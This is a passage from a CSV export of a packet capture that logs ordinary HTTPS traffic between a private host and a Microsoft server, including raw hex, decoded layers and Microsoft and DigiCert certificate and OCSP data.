a82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d2304,\"u.e0...U.%..0\n..+.......0\n.\t*.H..\n............3....-.f...H.W.[mA\"\"P.V....VD.op....6..tz..-.....mUd../G.;E....S.......=.l..6...WB5\\Q...b.{7}.g.C....7...p.W2...L)..X..w......... ........7j.....-K.....i7..Q..L#._..1.......)..7QXb...[..WT.cz.T..A6WE..M.q@....!..9....=A. X.U|..(..RFi.@48I'.\ti../.....\"\"Zp...P..]..x.H_...~..V.B...._.l..k........4..Z.3.Q..w{/.E\tr..>39,......<2X#~.....J!.*..Cr..5......._DJ..]..!(..8....Y.SV`......'.V..*.....6,.\\.<eh..A.....f9[....mR.Ec...$)|..2.. R#...f.\"\"..]o..K'u..:M..EeTz.#.....VVe..-.Ao3f01.W% ....t..S....V....n...w....*.V.p...0...0..........3......f}J.U.......0\n.\t*.H..\n.....0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\n250801200259Z.\n290603200259Z0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\"\"0\n.\t*.H..\n..........0..\n......:$.Z.....`.....G.D.+.m.p!.E)......B...R.O\\9U.6M..Xf4..R........;.....)...I._.....V....._@I...j..No.$...tZY...<..x@.....6J...c....j.....d.Z)g..V.!..F........lGx#.8...Mq..\"\"...~...A*..h..t%8f....Y=*.h..;f.<....,kP....qs..w...M.\nU...r.i..L.#...?.B...\n...%..h.xV..\\..M3.N.5</.z}.fr`h.........._\\R...x.6..BSn:77..su..]ng..|.J....N....5.F=..rd.C6..W..\"\"..:..epe........h.57.@....f.0..GbWG.{..........D..........550./}.dR.F.4.;WO\n. 1.....'..Y5.\n.D....UM.WHu....`.......~.e.S.\"\"%.0cj.W.....ML\nT...=M\nF\tb.#\"\"Q..7L...@......S.........0..}0...U...........0..\t+.....7.......0...U......T.....}.....4dDg.u.e0...U. ..0\n0...g.....0...U.%..0\n..+.......0..\t+.....7.....\n.S.u.b.C.A0...U.......0.......0...U.#..0......H..1Y1.K_....y..v0....U.....0..0.........Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl.Jhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0.....+...........0..0c..+.....0..Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i..+.....0..]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0\n.\t*.H..\n..........|Hq...E.t..?I....u..P..K....._.]5\nl....a`..8...5..!:..X.8|....M......{g.....P..O.........#3....'..[.o..K...P.....O....\"\"*...K.....6\t..CON..~\\.k..I>....R..?q.$/7..lt....!..Pgp$...\"\"...'..|...f...U....!\nr.e.`.PI..#H :..&.......=.L....<D.......{3=.^d.'=.L.q.f...N.d.T+.....g.7.\nc ......:.B\"\".\"\".&U.0...B...6.6R.sgzsnT........m.'P.....T)M.........d..G1e.y}......v.;(..Do$W....Z..X.V....uq..S.....\"\"L.k.].DY<$k...}._JM..T..v..(MEte.`!..y_..........Y.<'w.V.....=.......Y.XHl}..2...-.......e................(..1w4......6..%....0...0..q.........k,Fi..Gs.G....0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n250521000000Z.\n290619235959Z0Q1.0\t..U....US1.0...U.\n..Microsoft Corporation1\"\"0 ..U....Microsoft TLS RSA Root G20..\"\"0\n.\t*.H..\n..........0..\n.........G.(.q.A....W.k.....:`.....[.2.{..r'k]@......\n....t../.....3.W.. |!.....Nd.Z.Ku...dM.R.........?..NE9^.)...g........J..9..\t.3A.....u.S.!.\\DL.`W.........2J..Q.....?6./oL9..i\"\".;u...>....A8.~FH....p.....r.~}.lN.p......b..k..........1K..k3........J._..1v8?.Gl........_.l.....*.{..(.1..SLuf.}...`.e.1.r...-.D..W.n....e.r-....~I.Yg.\t...m..Ex..`j....$;sJZ..>.a.x....0.J8-.X.. .6*..2..8.....E.|...b...q.....\n\t......8B4.i....s..C.C.X.O....=.:@8.....d..c...U\tZ....>...d......M.E..e.%.......[.P....] .g.y.....o. r0...u'5........K0..G0...U.......0....0...U.........H..1Y1.K_....y..v0...U.#.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 63413, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25547, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211338164, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 57193, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d2304\"\"}}]\"\n2026-06-28 14:01:51.357175,100,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533813 Ack=4211341580,bc24112907bbbc2411360d0c08004500002828fa40008006ffde0a98980b3461faf2fa0401bbef85f5b5fb03f90c5010040004d10000,\".$.)...$.6\n...E..((.@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65502, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211341580, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 1233, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.398729,101,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4211341580 Ack=4018533813,bc2411360d0cbc24112907bb0800450003f8f7b8400040066d503461faf20a98980b01bbfa04fb03f90cef85f5b55018003fd5e1000018301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007410100073d308207390a0100a08207323082072e06092b06010505073001010482071f3082071b3081c5a2160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e180f32303236303632383132333330355a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303632383130313330385aa011180f32303236303730363130333330385aa120301e301c06092b0601040182371504040f170d3236303730363130333330385a300b06092a864886f70d01010b0382010100743fffc28350cca4b0fd7385d72dff2fcab0d8168d2017222022937e7a4a3eb0fc7aeeabcd685c64fac3ba5335102a5d22cdf92633393f89145cb291be719206c074ff655116165b97c50c15c31540753c2ee87a30a18b61f45f9507dfffb08e7ad48e56f910fbbd9d5c6484590a6f8911e50e70e600017bf40e96880211812bd57dc353e508299cc77360f549619beefa8ff69865542ed4f9e2c20da2cefa10d7bd9e50beef7eb074,\".0...N\"\"T ....n..........90...U...........0...U.%..0\n..+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0...U. ..0\n0...g.....0\n.\t*.H..\n.............+7t.K.6.6...........D..T...A.F..v4..Ub5.....Zb.C...J..k....%f..yn[%.$...y-5_B\tx...e.. P...j:...H...\t.....u.'%Z..:pl.G.c.S...5 ..=.....$.EVw.g.1B.W..&..C.W.c...:..{K.....f.gg\t..L...+.\"\"=}....c8,.V..\tR....o.mk..A/.>.1..|J..a.FF(.W..o...w%.{.).;ry....Tm5+.z...A...=0..9\n.....20....\t+.....0......0...0.......)3e...;.-M.Ds.....^..20260628123305Z0..0..0L0\t..+...........j\t...m.H..x.K.g.W..T.....}.....4dDg.u.e..C.\n..T..........\n......20260628101308Z....20260706103308Z. 0.0..\t+.....7.....\n260706103308Z0..\t*.H..\n........t?...P....s..-./..... .\"\" \"\".~zJ>..z...h\\d...S5.*]\"\"..&39?..\\...q...t.eQ..[......@u<..z0..a._......z..V.....\\d.Y\no....p...{.......+.}.S..)..s`.Ia......eT.....\n.......P..~.t\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1016, \"\"id\"\": 63416, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27984, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211341580, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54753, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"18301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007410100073d308207390a0100a08207323082072e06092b06010505073001010482071f3082071b3081c5a2160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e180f32303236303632383132333330355a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303632383130313330385aa011180f32303236303730363130333330385aa120301e301c06092b0601040182371504040f170d3236303730363130333330385a300b06092a864886f70d01010b0382010100743fffc28350cca4b0fd7385d72dff2fcab0d8168d2017222022937e7a4a3eb0fc7aeeabcd685c64fac3ba5335102a5d22cdf92633393f89145cb291be719206c074ff655116165b97c50c15c31540753c2ee87a30a18b61f45f9507dfffb08e7ad48e56f910fbbd9d5c6484590a6f8911e50e70e600017bf40e96880211812bd57dc353e508299cc77360f549619beefa8ff69865542ed4f9e2c20da2cefa10d7bd9e50beef7eb074\"\"}}]\"\n2026-06-28 14:01:51.398939,102,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533813 Ack=4211342556,bc24112907bbbc2411360d0c08004500002828fb40008006ffdd0a98980b3461faf2fa0401bbef85f5b5fb03fcdc501003fc01050000,\".$.)...$.6\n...E..((.@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65501, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211342556, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 261, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.401391,103,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4211342556 Ack=4018533813,bc2411360d0cbc24112907bb080045000731f7b9400040066a163461faf20a98980b01bbfa04fb03fcdcef85f5b55018003fd91a0000e1ee3059b41e87abb917bacc0e3b392a67bbffc332417176b28ed9d3004442d5fd3833d93ccc554c65dbe1e8a4693b683d7ee244ed134c2ca9dfcb4b89d39d573b2ee2d065a113e090a8ff15497f3d3d4ecbb8ab60c38fa082053d30820539308205353082031da003020102021343006cafa51b10b633cef1d47f0000006cafa5300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303632373135353031385a170d3236303732373135353031385a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a028201010092f377f98992dd4f68f5a63e6bc975fb099fa1a0128697c66c3ef97a76d4655649192c4d607926bb0bf65a3b754c4301e811396e503e43ce78b6a92f0209ace10fd5caf41ea1fb8f4680296984b9039609297abfdbac9f99a4e1363fee5607ba8db615a825c5ccbef6c3a01970ddbc8d0e03bedae2f5fdbd09886b9b22d49d903ad8ea2617ac9a7cb8c956fe7cc93a4562fc74eeb2735b6a95744dbaec7c472c1f96d442391ddfdae716ec2eb386d9b47b3aefb1a4ad23b63715a5c94514d8f027e5e8a8f93f2f3f01b49e07ee7048ab3f3e14540423c5579809fa553432fd860f5fb7ec16c30947d29774885db87347423753de31c2413f0d8cd5f6d936c7a50203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c0500038202010024734df2f3a3d28662ac1853ae5ad43e4f469904e403783bf56eb32463be838194b1aa2c196291e167dab3e607d443bf9703644fdc1aceb310716e69d1e33d1777a3852763b1dbe4023ac157b4f8fa5b1c50c2d20636fda473c8f3261d849c86e1860ef6d84dc626ca20ca6bedd66e0430ef24d7cc482103332c74473975250a2663a533907cf2b456283a706669797f8b8ce3ac87ee340360e834f74817af5d97e49d2e48b8dd70889a6b6ae98108908558337e5c78f1f549af2e4b6e357b74e28fe379e5b3f8f7da89c0a9c73c930eeeec985dfbc5434d24fc3952a5878cc67b7f675ace679e170c4df40a7ac522a244c335c5829cb89caf2a66524f6cc5853310ef4474a79f65a7b477d4c9b5b2e17a20cf5dcd2744807d53ad4ecd720b7daae019e816a8fb03ce86f118f6b34a00fa047d00ddf787823aabe80b354c1c7043e9b718d6ae3d837f5eca3f82f6ade815a7c0688c9553a2063691e92ede15f5d8157b51f299a43b6075099eead5022800a642c0f6be7f36fba37735a29a1589972b16d1b9f86bf207cb192d007cc64c3f1347ba9a1d5793310587899656f0f28e0051d529925d958a0740b9104179f8cb931ea41e8cebeb4264d94a5cad02d340c5461f5541de631efa4e308be97794de72efb0c09d7468e1f9a9f965a3df7ea8c495a5117e84dfd6e14e4b2712eacbf6a35d8cff730e6bf6bc2db0ed0d437b0c0001690300186104c99cd511f0846b02e30c2d6aa0385f36e3fe667d9ead320fd153d2de228a26366af57ce5d2bdf1d7eb32722b496bb1c0231b9f73d19852ee401333b62153e2310cb8a656b83b14026e7f888061b9e742800ac6b85b417bad3a3210fca238a68e0804010058e702fb75cbd522fd06dad543db5ba44aa9ae4b72f9826fb373146326ee2d9bcbf49726059a1f511c6a3cc916f221889f574999931faae2d106ee1e1b713cac9240ac84cc46c238e1a8561e55a191e66dd36f5103ea93e3fbdf7e30fb99fb91c18110f07e8aae3ded341725181eb79cf75c85081260ae04f57193e23808cca7b628ce9e43638d598adb759788a6d1dc4220182db87b127f872fe59b013d80308a57bb7b68abf7443760a08346d4821212c5fac7fcf20975f47e8a367169b335b39c768e61040274c946a6e49046af6181156e7940ab33b63ee3415a1636bb6c649c20ffebc566390207922444ffdbe31d444c10f1e6dfa49b84a5d9998677d30e000000,\"..0Y.........;9*g...2Aqv.....DB..83.<.ULe....i;h=~.D..L,...K...W;...e.......I.==N...`.....=0..90..50..........C.l.....3.......l..0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260627155018Z.\n260727155018Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....TLS-G2-RSA-04 OCSP 